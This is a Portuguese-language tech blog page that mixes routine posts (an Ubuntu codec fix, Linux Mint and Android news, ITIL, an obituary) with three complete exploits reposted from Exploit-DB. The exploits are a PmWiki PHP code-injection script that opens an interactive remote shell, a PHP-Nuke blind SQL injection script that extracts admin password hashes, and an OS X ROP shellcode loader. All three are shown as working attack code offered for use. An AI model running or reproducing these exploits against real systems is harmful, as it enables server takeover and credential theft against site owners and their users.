Skip to content
AppUnix
  • cPanel Logs: Access, Apache, Email, Error, FTP, MySQL, WHM

Categoria: Blog

Nosso Blog

Playing error : Sua instalação do GStreamer está com um plug-in faltando. at /usr/bin/../share/gmusicbrowser/gmusicbrowser_gstreamer-0.10.pm line 135.

01/12/2011 by OwnServer

Se essa é a mensagem de erro ao tentar tocar um arquivo MP3 junto ao seu Ubuntu/Xubuntu/Kubuntu, não chore e nem desanime, na verdade o que está rolando é a falta de plugins para stream de audio.
Para sanar isto basta abrir seu terminal e digitar:

sudo apt-get install ubuntu-restricted-extras -y

Serão baixados mais de 100mb de plugins, mas tudo bacana (mp3, flash, mp4, avi e etc…).

Depois disso é só alegria.

Abraços a todos ;P

PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit

23/11/2011 by OwnServer

<?php

/*
    -------------------------------------------------------------
    PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    -------------------------------------------------------------
    
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.pmwiki.org/
    affected versions....: from 2.0.0 to 2.2.34
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    
    452.      $code = '';
    453.      foreach($opt['=order'] as $o => $r) {
    454.        if (@$PageListSortCmp[$o])
    455.          $code .= "\$c = {$PageListSortCmp[$o]}; ";
    456.        else
    457.          $code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";
    458.        $code .= "if (\$c) return $r\$c;\n";
    459.      }
    460.      StopWatch('PageListSort sort');
    461.      if ($code)
    462.        uasort($list,
    463.               create_function('$x,$y', "global \$PCache; $code return 0;"));
    464.      StopWatch('PageListSort end');
    
    Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
    
    [-] Disclosure timeline:
    
    [09/11/2011] - Vulnerability discovered
    [11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271
    [11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235
    [12/11/2011] - CVE number requested
    [15/11/2011] - Assigned CVE-2011-4453
    [23/11/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
print "\n+------------------------------------------------------------+";
print "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /pmwiki/\n";
    die();
}
$host = $argv[1];
$path = $argv[2];
$phpcode = "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#";
$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";
$packet  = "POST {$path}pmwiki.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match("/Location/", http_send($host, $packet))) die("\n[-] Edit password required?!\n");
$packet  = "POST {$path}pmwiki.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: 11\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\nn=Cmd.Shell";
while(1)
{
    print "\npmwiki-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

 

Fonte: http://www.exploit-db.com/exploits/18149/

PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection

23/11/2011 by OwnServer

#!/usr/bin/perl

# [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection
# Date: 2010.07.04 after 50 days the bug was discovered.
# Author/s: Dante90, WaRWolFz Crew
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770,
#               Shades Master, V1R5, yeat
# Special Greetings To: The:Paradox
# Greetings To: Shotokan-The Hacker, _mRkZ_, h473
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# ----
# Why have I decided to publish this?
# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published
# my own exploit, with their names.
# FU**ING LAMERS / RIPPERS / SCRIPT KIDDIE
# ----
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use Time::HiRes;
my $Victime  = shift or &usage;
my $Hash = "";
my ($Referer,$Time,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
            default_headers => HTTP::Headers->new,
        ) or die $!;
my $WaRWolFz = "http://www.warwolfz.org/";
my $DefaultTime = request($WaRWolFz);
my $Post;
sub Blind_SQL_Jnjection {
    my ($dec,$hex,$Victime) = @_;
    return "http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}";
}
for(my $I=1; $I<=32; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime);
        $Time = request($Post);
        sleep(3);
        refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
        if ($Time > 4) {
            $Time = request($Post);
            refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
            if ($Time > 4) {
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Post);
                refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
                last;
            }
        }
    }
    if($I == 1 && length $Hash < 1 && !$Hash){
        print " * Exploit Failed                                       *\n";
        print " -------------------------------------------------------- \n";
        exit;
    }
    if($I == 32){
        print " * Exploit Successfully Executed                        *\n";
        print " -------------------------------------------------------- \n";
        system("pause");
    }
}
sub request{
    $Post = $_[0];
    $Start = Time::HiRes::time();
    my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', {
                    title => "Dante90",
                    url => $Post,
                    description => "WaRWolFz Crew",
                    auth_name => "Dante90",
                    email => "dante90.dmc4\@hotmail.it",
                    filesize => "1024",
                    version => "1",
                    homepage => "http://www.warwolfz.org/",
                    d_op => "Add"
                },
                Referer => $HostName.'modules.php?name=Downloads&d_op=Add');
    $Response->is_success() or die "$HostName : ", $Response->message, "\n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
}
sub usage {
    system("cls");
    {
        print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n";
        print " -------------------------------------------------------- \n";
        print " * USAGE:                                               *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
        print " * perl name_exploit.pl [victime]                       *\n";
        print " -------------------------------------------------------- \n";
        print " *          Powered By Dante90, WaRWolFz Crew           *\n";
        print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *\n";
        print " ------------------------------------------------------- \n";
    };
    exit;
}
sub refresh {
    system("cls");
    {
        print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n";
        print " -------------------------------------------------------- \n";
        print " * USAGE:                                               *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
        print " * perl name_exploit.pl [victime]                       *\n";
        print " -------------------------------------------------------- \n";
        print " *          Powered By Dante90, WaRWolFz Crew           *\n";
        print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *\n";
        print " ------------------------------------------------------- \n";
    };
    print " * Victime Site: " . $_[0] . "\n";
    print " * Default Time: " . $_[1] . " seconds\n";
    print " * BruteForcing Hash: " . chr($_[2]) . "\n";
    print " * BruteForcing N Char Hash: " . $_[5] . "\n";
    print " * SQL Time: " . $_[4] . " seconds\n";
    print " * Hash: " . $_[3] . "\n";
}

#WaRWolFz Crew

 

Fonte: http://www.exploit-db.com/exploits/18148/

Lançado novo Linux Mint 12 (RC1)

13/11/2011 by OwnServer

Veja nota:

The first release candidate for Mint 12, an Ubuntu-based distribution with a choice between a highly customised GNOME 3 and MATE (a fork of GNOME 2) desktops, is out and ready for testing: “The team is proud to announce the release of Linux Mint 12 ‘Lisa’ RC. Linux Mint 12 is a new step forward, using new technologies and a brand new desktop, built with GNOME 3 and Mint GNOME Shell Extensions (MGSE). MGSE is a desktop layer on top of GNOME 3 that makes it possible to use GNOME 3 in a traditional way. You can disable all components within MGSE to get a pure GNOME 3 experience, or you can enable all of them to get a GNOME 3 desktop that is similar to what you’ve been using before. The main features in MGSE are: the bottom panel, the application menu, the window list, a task-centric desktop (i.e. you switch between windows, not applications), visible system tray icons.” Read the release announcement and check out the what’s new page for more detailed information and screenshots. Download (SHA256): linuxmint-12-gnome-dvd-32bit-rc.iso (1,025MB, torrent), linuxmint-12-gnome-dvd-64bit-rc.iso (1,014MB, torrent).

O que fazer quando cair água, álcool ou líquidos malucos no teclado do seu notebook (notebook comum ou macbook)?

10/11/2011 by OwnServer

Tem gente que fica pirada X 100 quando se depara com uma situação maluca como esta, veja-se nisto:

—-> Estamos batendo papo, derrepente eu, sem querer, é claro, derrubo um copo com água, ou um recipiente com álcool vira sobre o teclado do seu notebook, e de prache seu teclado começa a repetir teclas com 6, z e etc.

O que fazer para parar o efeito do “teclado drogado”?

– Primeira coisa a fazer é ARRANCAR a bateria do seu notebook/macbook (sim, isto é MAIS QUE NECESSÁRIO),

– Segunda coisa a se fazer é virar o notebook de cabeça para baixo, deixando ele aberto por 24 HORAS! (sim, na verdade recomendaria 48 horas).

 

Depois disso seu teclado estará novinho em folha.
Caso não esteja ferrou com cirtcuitos do teclado e THE END, só autorizada.

Essas horas de cabeça para baixo fazem com que todo o líquido desça para a superfície do teclado.
O tempo desligado é o tempo de secagem (arrancar a humidade).

Cool ;).

Equipe AppUnix agradece.

Morre André Gondin, uma autoridade do Ubuntu no Brasil

03/11/2011 by OwnServer

Morreu aos 24 anos um dos ícones do Software Livre no Brasil: André Gondin.

André era um dos líderes da tradução do Ubuntu para o Pt-BR e fazia parte do Conselho Ubuntu Brasil, além de escrever em diversos blogs de Linux e Software Livre.

Leia a matéria que Gleidson Lacerda escreveu sobre André Gondin abaixo:

“André Gondim, deixa esposa, pais, família, amigos, colegas, fãs. Lutou contra a fibrose cistica desde criança, deram 8 meses, 2 anos, 5 anos… aos 24 veio o transplante e ele sobreviveu (casou-se com Ana Luiza no mesmo ano).

Graduou-se, estava posgraduando. Trabalhou em empresas de primeira linha como UOL e Terra (até quebrou meu galho e tirou minhas férias na Gfarias). Deu cursos, palestras, militou no software livre. O Ubuntu, Gnome e tantos outros projetos devem muito das traduções e coordenação de equipe de André.

…

 

Para continuar lendo veja:

http://aurelianomartins.wordpress.com/2011/11/03/morre-andre-gondin-um-dos-icones-do-ubuntu-no-brasil/

 

Quais os recursos necessários para rodar Google Android 4.0 “Ice Cream Sandwich”

17/10/2011 by OwnServer

Oficialmente, até a data de hoje a Google não divulgou quais os requerimentos mínimos para se ter o Android 4.0 cujo codenome é Ice Cream rodando de forma estável para o público web como nós (eu, tu e o app… rsrsrs) , porém, segundo fontes internacionais, há uma informação abstante animadora para usuários do android, o hardware necessário não será tão potente assim em vista do breve lançamento, o que chega a ser curioso.

Vamos aos requerimentos mínimos para rodar?

1 – Processador com 1ghz,

2 – 512 mb de ram,

3 – GPU (indefinida).

Esta informação veio de uma nota de releases da Sony, a mesma falou que seus smartphones de alto desempenho (x10 Arc, por exemplo) vão receber a atualização sem problemas. Da linha Xperia, acreditamos que somente os que tem hardware menor que os dados passados acima não receberão a update,  segundo a Sony detalhou sobre o android 4.0.

Ao que parece, tudo indica que em termos de hardware todos que possuem: Motorola Milestone 2, Motorola Defy, Motorola Atrix, Droid 2, Galaxy i9000, Sony X10 ou superiores receberão o update tranquilamente. (aparentemente vão rodar)

Segundo a mesma fonte, baseado na aparelhagem, o Xperia Arc possui um hardware não muito potente (referimos-nos aos mais potentes do mercado) assim como uma GPU “não muito poderosa” (nos referimos ao nível máximo do mercado atual), ou seja, no caso do Milestone 2, a GPU é OMAP 3620, que já trás bons jogos e bom nível de captura. Ao que parece, talvez seremos contemplados com esta glória sim!

No caso do Sony Xperia Arc, sua GPU é Adreno 205 (não é a mais potente do mercado, mas anda bem), mas foi confirmado que roda, presumimos que rodará nos aparelhos que citamos. (nem que seja com lag, por favor GOOGLE!)

A nota vem do site SOMobile, que coloca a notícia na Íntegra neste link -> http://www.somobile.co.uk/news/2011/09/08/sony-ericsson-current-gen-xperia-phones-will-get-android-4-0/#

Estamos torcendo para que a informação venha cair como luva nas mãos dos donos de Smartphones com 1ghz de clock, pois será maravilhoso dar vida aos “antigs smartphones”.
Abraços a todos e qualquer sujestão/suspeita usem os comentários e iremos atualizar o texto de acordo com a relevância dos comentários.

Para quem quer acompanhar as GPUS dos smartphones mais conhecidos acessem: http://en.wikipedia.org/wiki/Comparison_of_Android_devices

 

 

O que é o ITIL e quais seus Benefícios

14/10/2011 by OwnServer

E ai galera, tudo na santa paz?

Tenho andado enrolado d+ com a faculdade, sem contar na falta de tempo e outras coisas a mais que não vêm ao caso.Hoje vou falar pra vocês sobre ITIL ou melhor, apenas um mizero grão de areia desse vasto e interessante assunto… ITIL é um assunto que conheci exatamente no final do ano passado ao conversar com um amigo da faculdade, não dei muita importância na época (não era meu foco). Até que no início desse ano mudei de curso na faculdade e me deparei com a metéria Governança de TI, que é a “Bíblia do ITIL“… mas vamos lá.

Mas Doooguinha o que diabos é esse ITIL?

ITIL é a abreviação de Library Infrastructure Tecnology Information que em português burro significa Biblioteca de Infraestrutura de Tecnologia de Informação criado pela OCG (Official Governance Commerce) na Inglaterra, e que nada mais é do que motodologias de governança de TI,inicialmente o foco da criação do ITIL, era o melhoramento dos serviços nos data centers britânicos. O ITIL prevê que os serviços de TI sejam/fiquem alinhados aos negócios, fazendo com que nos tornemos parceiros estratégicos das organizações… Consequentemente trazendo aproveitamento total dos recursos envolvidos nos processos e perda mínima de tempo, o que acarreta maior agregação de valor aos serviços de TI.

O ITIL está atualmente na versão 3 que por sua vez foi lançada em 2007 e possui exatamente 26 processos, estando esses processos divididos em 5 fases: Estratégias do Serviço, Desenho do Serviço, Transição do Serviço, Operação do Serviço e Melhoria do Serviço Continuada ou Melhoria Continuada do Serviço.

Em todos os processos/fases provê “regras”que se seguidas conforme designação descrita pelo OCG torna os serviços de tecnologia de informação mais eficientes e alinhados às políticas do negócio. Esse alinhamento dos processos de uma empresa às metodologias do ITIL faz com que agregue valor aos serviços de TI, além de uma melhoria no atendimento às requisições de serviço.

No ITIL aprendemos também como melhorar o relacionamento com os provedores de serviço, melhores práticas de organização, tem um tal de Banco de dados de problemas conhecidos, Gerenciamento de incidentes, gerenciamento de problemas…. isso só para citar alguns. No ITIL ficam muito bem definidas as tarefas de cada indivíduo dentro da organização, o ITIL é uma espécie de transição o nixo Operacional para setor Estratégico da empresa, como o grande professor Danilo diz: “O departamento de TI de uma organização deverá ser seu parceiro estratégico e agregar valor aos serviços de TI perante ao setor estratégico da organização” não com essas palavras mas foi o que entendi sobre o assunto das aulas em que o professor Danilo brilhantemente ministra na faculdade….

Você já resolveu várias vezes um mesmo problema dentro de uma organização? Sim galera, todos NÓS que trabalhamos sem uso das metodologias do ITIL, resolvemos um mesmo problemas várias e várias vezes sem nos dar conta do prejuízo o qual damos às empresas nas quais trabalhamos. Mas ai você diz, os problemas aqui são resolvidos em 5, 10 ou no máximo em 15 minutos, sim meu amigo…. mas imagina se você resolvesse um problema apenas 1 vez, e nas próximas vezes que o mesmo problema acontecer você gastar quase tempo nenhum pra resolvê-lo pois aquele incidente já estaria em um Banco de dados de problemas conhecidos? Sobraria muito mais tempo por exemplo pra estudar uma implantação crucial ao negócio, sobraria mais tempo pra estudar Linux, Soluções livres, integração de Sistemas Operacionais distintos ou até mesmo para melhor entender todos os processos do ITIL e assim tentar uma melhoria inividual/coletiva dos serviços de TI de sua equipe.

Pensem bem…. talvez uma certificação ITIL seja seu pontapé inicial para adentrar a uma grande corporação, grande empresas com certeza vão saber valorizar seu talento/conhecimento das metodologias ITIL, hoje em dia tudo é um grande diferencial no Mercado….

Meu intuito principal ao escrever esse artigo é simplesmente falar o que é e quais os benefícios do ITIL dentro de uma organização, na verdade somente falei dos pontos bons da implantação das metodologias ITIL dentro de uma empresa, não disse pontos ruins como por exemplo a resistência do operacional a se submeter a novas idéias, novos modos para se realizar uma mesma tarefa, ter que documentar muito bem todos os passos dentro da empresa, o medo do funcionário por exemplo de documentar os incidentes/problemas resolvidos com medo de que quando esse banco de problemas conhecidos fique bem alimentado a corporação poderá lhe mandar embora, esses são apenas alguns dos pontos chatos na implantação da metodologia ITIL nas empresas….. Penso que se não houver apoio INCONDICIONAL da topo da hierarquia da empresa, com certeza você sozinho não conseguirá implantar essa fantástica metodologia de melhoria dos serviços.

Bom galera, paro por aqui…. como disse isso aqui é um informativo bem básicão sobre ITIL e suas vantagens e pequenas desvantagens….. forte abraço e um agradecimento especial ao professor Danilo, que trata do assunto com muita responsabilidade e passando todos os macetes para que possamos nos certificar na certificação ITIL FUNDATION que é a porta de entrada para uma melhor qualidade na prestação de serviços de TI…. Fiquem com DEUS!!!!

Gostou? Compartilhe, comente e espalhe. :)

 

CyanogenMod-7.1 Foi lançado MAS NÃO dá suporte ao Milestone 2 AINDA

11/10/2011 by OwnServer
  • HTC Desire S
  • HTC Incredible S
  • HTC Incredible 2
  • LG Optimus 2X and T-Mobile G2x
  • Motorola Backflip (Motus)
  • Motorola Cliq / Cliq XT
  • Motorola Defy
  • Motorola Droid 2
  • Motorola Droid X
  • Samsung Captivate
  • Samsung Fascinate
  • Samsung Mesmerize
  • Samsung Showcase
  • Samsung Vibrant
  • Samsung Galaxy S
  • Samsung Galaxy S2 (multiple carriers)
  • Sony Ericsson Xperia X8
  • Sony Ericsson Xperia X10 Mini Pro
  • Sony Ericsson Xperia X10 Mini
  • Sony Ericsson Xperia Mini
  • Sony Ericsson Xperia Mini Pro
  • Sony Ericsson Xperia Neo
  • Sony Ericsson Xperia Play
  • Sony Ericsson Xperia Ray
  • Sony Ericsson Xperia Arc
  • ZTE V9

Esta é a lista de Smartphones que suportam esta update.
NÃO se iluda, NÃO há suporte para o Milestone 2 ainda.
Há uma série de correções e otimizações em cima do CyanogenMOD 7.0, mas para users como nós que temos Motorola Milestone 2 é melhor ficar pianinho.

OSX universal ROP shellcode Testado no SNOW LEOPARD

03/10/2011 by OwnServer


; universal OSX dyld ROP shellcode
; tested on OS X 10.6.8
;
; if you don't want to compile, copy stage0 code from precompiled.txt
; and append your normal shellcode to it.
;
; usage:
; - put your 'normal' shellcode in x64_shellcode.asm
; - make
; - ./sc
;
; if you want to test:
; - uncomment lea rsp, [rel rop_stage0] / ret
; - make
; - nc -l 4444
; - ./sc
; - you should get a shell over nc
;
; see my blog, if you want to know how this works:
; http://gdtr.wordpress.com
;
; greets to Jacob Hammack, for his reverse tcp shellcode (hammackj.com).
;
; pa_kt
; twitter.com/pa_kt

extern _printf

global _main

;————————————————–
;- DATA
;————————————————–
section .data

rw_area equ 0x00007FFF5FC50000
rwx_area equ rw_area+0x1000
vm_prot equ 0x00007FFF5FC0D356
fake_stack equ rw_area+0x2000
fake_frame equ fake_stack+0x100
r12_zero equ rw_area-0x1000

rax_off equ rw_area-8
rbx_off equ rw_area+8-8
rcx_off equ rw_area+0x10-8
rdx_off equ rw_area+0x18-8
rsi_off equ rw_area+0x28-8
rbp_off equ rw_area+0x30-8
rsp_off equ rw_area+0x38-8
r8_off equ rw_area+0x40-8
r12_off equ rw_area+0x60-8

pop_rdi equ 0x00007FFF5FC24CDC
pop_rbx equ 0x00007FFF5FC23373
store_reg equ 0x00007FFF5FC24CE1
set_regs equ 0x00007FFF5FC24CA1

c_rwx equ 7
c_size equ 0x1000
c_addr equ rwx_area
c_set_max equ 0

dbg_ret equ 0x00007FFF5FC24C4B

; copy shellcode to RWX area
; size = 0x1000
stub:
lea rsi, [r15+saved_rsp_off+copy_stub_size+rop_post_size]
xor rcx, rcx
inc rcx
shl rcx, 12 ;rcx = 0x1000
lea rdi, [rel normal_shellcode]
rep movsb
;int 3
normal_shellcode:

stub_size equ $-stub

; order is important
rop_pre dq pop_rdi, rcx_off, pop_rbx, c_set_max, store_reg,
dq pop_rdi, rdx_off, pop_rbx, c_size, store_reg,
dq pop_rdi, rsi_off, pop_rbx, c_addr, store_reg,
dq pop_rdi, rbp_off, pop_rbx, fake_frame, store_reg,
dq pop_rdi, rsp_off, pop_rbx, fake_stack, store_reg,
dq pop_rdi, r8_off, pop_rbx, c_rwx, store_reg,
dq pop_rdi, r12_off, pop_rbx, r12_zero, store_reg,

; set fake stack
dq pop_rdi, fake_stack+8-8, pop_rbx, vm_prot, store_reg,

; set fake frame (return address -> rwx page)
dq pop_rdi, fake_frame-8-0x38, store_reg,
saved_rsp:
dq pop_rdi, fake_frame+8-8, pop_rbx, rwx_area, store_reg,

rop_pre_size equ $-rop_pre
saved_rsp_off equ $-saved_rsp-8

rop_post dq dbg_ret

; set all regs and jump to vm_prot
dq pop_rdi, rw_area, set_regs
; marker
; dq 0x1111111111111111

rop_post_size equ $-rop_post

x64_shellcode: incbin “x64_shellcode”
x64_shellcode_size equ $-x64_shellcode

hello db “test”, 0
fmt db “\x%02x”,0

section .bss

rop_stage0 resq 100
copy_stub resq ((stub_size+7)/8)*5
copy_stub_size equ $-copy_stub

;————————————————–
;- CODE
;————————————————–
section .text

prep_stub:

mov rcx, (stub_size+7)/8
mov rsi, stub
mov rdi, copy_stub
mov rbx, rwx_area-8
go:
mov rax, pop_rdi
stosq
mov rax, rbx
stosq
mov rax, pop_rbx
stosq
movsq
mov rax, store_reg
stosq
add rbx, 8
loop go
ret

make_stage0:
mov rsi, rop_pre
mov rdi, rop_stage0
mov rcx, rop_pre_size
rep movsb

mov rsi, copy_stub
mov rcx, copy_stub_size
rep movsb

mov rsi, rop_post
mov rcx, rop_post_size
rep movsb

mov rsi, x64_shellcode
mov rcx, x64_shellcode_size
rep movsb

ret

print_it:
push rbp
mov rbp, rsp

mov rcx, rop_pre_size + copy_stub_size + rop_post_size + x64_shellcode_size
lea rsi, [rel rop_stage0]
xor rax, rax
one_char:
lodsb
push rsi
push rcx
mov rsi, rax
mov rdi, qword fmt
xor rax, rax
call _printf
pop rcx
pop rsi
loop one_char

leave
ret

_main:
push qword rbp
mov rbp, rsp

call prep_stub
call make_stage0

call print_it

;lea rsp, [rel rop_stage0]
;ret

leave
ret

Fonte: http://www.exploit-db.com/exploits/17564/

Navegação por posts

  • Previous
  • 1
  • 2
  • 3
  • 4
  • 5
  • …
  • 20
  • Next

Pesquisa

Categorias

  • Blog
  • cPanel
  • How Tos
  • Linux
  • Mac Os
  • MySQL
  • Wordpress

#Apoiadores

Patrocinador

Registre-se e ganhe $25



© 2023 AppUnix | Built using WordPress and MxGuard